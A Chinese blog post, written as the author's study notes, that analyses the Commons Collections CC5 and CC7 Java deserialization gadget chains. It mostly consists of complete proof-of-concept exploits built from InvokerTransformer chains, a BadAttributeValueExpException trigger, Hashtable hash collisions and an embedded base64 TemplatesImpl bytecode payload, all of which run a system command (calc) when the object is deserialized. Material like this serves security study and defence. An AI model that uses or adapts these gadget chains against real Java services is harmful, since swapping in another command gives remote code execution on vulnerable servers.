https://img2024.cnblogs.com/blog/3305226/202503/3305226-20250331155133325-143341361.jpg

CC5链+CC7链分析学习

CC5链+CC7分析学习

环境:

和CC1的环境是一致的:

Commons.Collections 3.2.1

jdk8u65

这次分析两条链,红色的为CC5,蓝色的为CC7,都是在LazyMap.get有所改变

image-20250407153756611

简单总结

image-20250407155253606

CC5分析:

CC5链使用到的是

BadAttributeValueExpException这个类的反序列化函数中调用了toString方法

image-20250406172922613

每个对象的toString方法不同,这里利用到的是TiedMapEntry.toString()

image-20250406173156375

调用了getValue,我们让map为LazyMap,后面的链就完全和CC1一样了

image-20250406173202970

构造目前的poc

public class CC5 {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, null);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

        //序列化
        new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(badAttributeValueExpException);
        //反序列化
        new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
    }
}

但是发现还没有进行反序列化就执行了计算器

问题很简单,BadAttributeValueExpException构造函数中,出现了一个三目运算符,如何val不为空就执行toString,很显然,我们是要反序列化再执行,和之前一样的手法,先为空,然后反射设置

image-20250406174101735

最后的poc非常简单

CC5_POC:

public class CC5 {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, null);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class c = BadAttributeValueExpException.class;
        Field val = c.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);

        //序列化
        new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(badAttributeValueExpException);
        //反序列化
        new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
    }
}

当然加上后面使用类加载的半段

public class CC7 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        Class templatesClass = TemplatesImpl.class;
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "a");
        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);

        byte[] code = Base64.getDecoder().decode("yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEA" +
                "AygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFi" +
                "bGUBAAR0aGlzAQAPTGNvbS9rdWRvL1Rlc3Q7AQAJdHJhbnNmb3JtAQByKExjb20v" +
                "c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1" +
                "bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRp" +
                "b25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hh" +
                "bGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9v" +
                "cmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
                "YW5kbGVyOwEACkV4Y2VwdGlvbnMHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94" +
                "YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv" +
                "aW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
                "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylW" +
                "AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9k" +
                "dG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBh" +
                "Y2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVy" +
                "OwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAJgEAClNvdXJjZUZpbGUBAAlU" +
                "ZXN0LmphdmEMAAgACQcAKgwAKwAsAQAEY2FsYwwALQAuAQATamF2YS9pby9JT0V4" +
                "Y2VwdGlvbgEADWNvbS9rdWRvL1Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFs" +
                "YW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29t" +
                "L3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +
                "ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2" +
                "YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGph" +
                "dmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAABAABAAgACQABAAoAAAAvAAEAAQAA" +
                "AAUqtwABsQAAAAIACwAAAAYAAQAAAAsADAAAAAwAAQAAAAUADQAOAAAAAQAPABAA" +
                "AgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAO" +
                "AAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAPABcAAgAKAAAASQAA" +
                "AAQAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACoABAAAAAEADQAOAAAAAAABABEA" +
                "EgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAgAHAAJAAEACgAAAE8A" +
                "AgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAOAAkA" +
                "EQAMAA8ADQASAAwAAAACAAAAHQAAAAcAAkwHAB4AAAEAHwAAAAIAIA==");
        byte[][] codes = {code};
        bytecodes.set(templates,codes);

        Transformer[] transformerArray = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, null);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class c = BadAttributeValueExpException.class;
        Field val = c.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);

        //序列化
        new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(badAttributeValueExpException);
        //反序列化
        new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
    }
}

CC7分析

同样改变处在LazyMap.get(),这条链是如何来到这个入口的,我先把整个流程梳理一遍

首先看Hashtable的反序列化类,从这里开始,调用了reconstitutionPut()函数,跟进

image-20250406182012736

会执行一个equals方法,我们这次用到的是LazyMap类

image-20250406182100318

LazyMap继承了AbstractMapDecorator但是他并没有equals方法,所以会调用AbstractMapDecorator的equals方法

image-20250406182143424

而此处的map即是构造Lazymap时传入的key,一般我们传入HashMap,调用Hashmap的equals方法

image-20250406182303579

而HashMap没有equals方法,同样会找父类AbstractMap.equals方法

image-20250406182416433

调用m.get方法,m也就是lazymap,找到这个入口了,现在流程分析完了,接下来就是让流程正常的执行了

image-20250406183916733

image-20250406183232314

image-20250406183305822

也就是得执行LazyMap.equals(恶意的LazyMap)

首先我们hashtable不能为空,不然for循环elements进不去

image-20250406205413015

hashtable是一个数组加链表,每个数组上的链都记录着(hash值%数组长度)这个值一样的的键值对

计算当前的传入的hashtable的键的hash值,也就是计算LazyMap.hashcode

index这样做的目的是确保索引值为正数,且在hashtable的数组范围内

hashtable当插入键值对时,首先通过键的hashCode()方法计算其哈希值,hash%数组长度确定在数组中的存储位置(hash值的计算方法

如果这个表头不为空(因为在之前里面放值了),说明可能有hash冲突,然后会把这个Entry数组循环一遍(这里面记录hash值%数组长度都是一样的),第一判断hash是不是真的相等,然后看键值的比较->e.key.euqals(key),如果有,就报警

所以第一次一定进不到if判断,因为hash表为空,这个index计算出来的位置肯定没有元素,直接插入键值对,不会触发哈希冲突检查

image-20250406205705155

而第二次也是同样的,我们也就是要让index和第一次相同,hash值也相同才能进行hash冲突判断,所以如何让两次hash相等?也就是我们的hashtable长度肯定得为2,然后两次的键.hashcode必须得相等。

构造技巧 ,如"Aa"和“BB” 调用String.hashCode()就相同

poc就可以写成目前这样,但是输出的hashcode是不相等的

public class CC7 {
    public static void main(String[] args) throws Exception {
        Map lazymap1 = LazyMap.decorate(hm1,new ConstantTransformer(1));
        Map lazymap2 = LazyMap.decorate(hm2,new ConstantTransformer(2));
        lazymap1.put("Aa", 1);
        lazymap2.put("BB", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazymap1,1);
        hashtable.put(lazymap2,1);
        System.out.println("lazyMap1 hashcode:" + lazymap1.hashCode());
        System.out.println("lazyMap2 hashcode:" + lazymap2.hashCode());
        //序列化
        new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(hashtable);
        //反序列化
        new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
    }
}

我们debug,发现第二次调用,Aa和BB都进去了这是为什么

image-20250406214132227

是因为我们调用put时,把整个利用链走过了,导致了这里把Aa put进去了

image-20250406214427925

所以结尾要remove("Aa"),这样保证反序列化中,计算的两次hash值相等

如果不懂,可以再探究下lazymap.hashcode

lazymap没有hashCode函数,所以来到AbstractMap函数,里面做的操作就是把hashmap全部取出来hashcode,所以两次的hash值不一样,我们put进去之后要remove("Aa"),这样保证反序列化中,计算的两次hash值相等

image-20250407150028255

第二次的hash为什么这么大也很简单,Aa已经算过hash值了,经过String.hash 再按位异或就很大了(不重要)

image-20250407150915211

image-20250407150901975

image-20250407150958512

CC7_POC:

最后的poc写成这样了,关于put会弹计算器,我还没有找到方法绕过,ysoserial里也没有进行绕过

public class CC7 {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        });
        Map lazymap1 = LazyMap.decorate(new HashMap(),chainedTransformer);
        Map lazymap2 = LazyMap.decorate(new HashMap(),chainedTransformer);
        lazymap1.put("Aa", 1);
        lazymap2.put("BB", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazymap1,1);
        hashtable.put(lazymap2,1);
        lazymap2.remove("Aa");
        //序列化
        new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(hashtable);
        //反序列化
        new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
    }
}

当然也可以结合动态类加载

public class CC7 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        Class templatesClass = TemplatesImpl.class;
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "a");
        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);

        byte[] code = Base64.getDecoder().decode("yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEA" +
                "AygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFi" +
                "bGUBAAR0aGlzAQAPTGNvbS9rdWRvL1Rlc3Q7AQAJdHJhbnNmb3JtAQByKExjb20v" +
                "c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1" +
                "bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRp" +
                "b25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hh" +
                "bGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9v" +
                "cmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
                "YW5kbGVyOwEACkV4Y2VwdGlvbnMHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94" +
                "YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv" +
                "aW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
                "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylW" +
                "AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9k" +
                "dG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBh" +
                "Y2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVy" +
                "OwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAJgEAClNvdXJjZUZpbGUBAAlU" +
                "ZXN0LmphdmEMAAgACQcAKgwAKwAsAQAEY2FsYwwALQAuAQATamF2YS9pby9JT0V4" +
                "Y2VwdGlvbgEADWNvbS9rdWRvL1Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFs" +
                "YW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29t" +
                "L3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +
                "ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2" +
                "YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGph" +
                "dmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAABAABAAgACQABAAoAAAAvAAEAAQAA" +
                "AAUqtwABsQAAAAIACwAAAAYAAQAAAAsADAAAAAwAAQAAAAUADQAOAAAAAQAPABAA" +
                "AgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAO" +
                "AAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAPABcAAgAKAAAASQAA" +
                "AAQAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACoABAAAAAEADQAOAAAAAAABABEA" +
                "EgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAgAHAAJAAEACgAAAE8A" +
                "AgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAOAAkA" +
                "EQAMAA8ADQASAAwAAAACAAAAHQAAAAcAAkwHAB4AAAEAHwAAAAIAIA==");
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        Map lazymap1 = LazyMap.decorate(new HashMap(),chainedTransformer);
        Map lazymap2 = LazyMap.decorate(new HashMap(),chainedTransformer);
        lazymap1.put("Aa", 1);
        lazymap2.put("BB", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazymap1,1);
        hashtable.put(lazymap2,1);
        lazymap2.remove("Aa");
        //序列化
        new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(hashtable);
        //反序列化
        new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
    }
}
posted @ 2025-04-07 15:57  kudo4869  阅读(90)  评论(0)    收藏  举报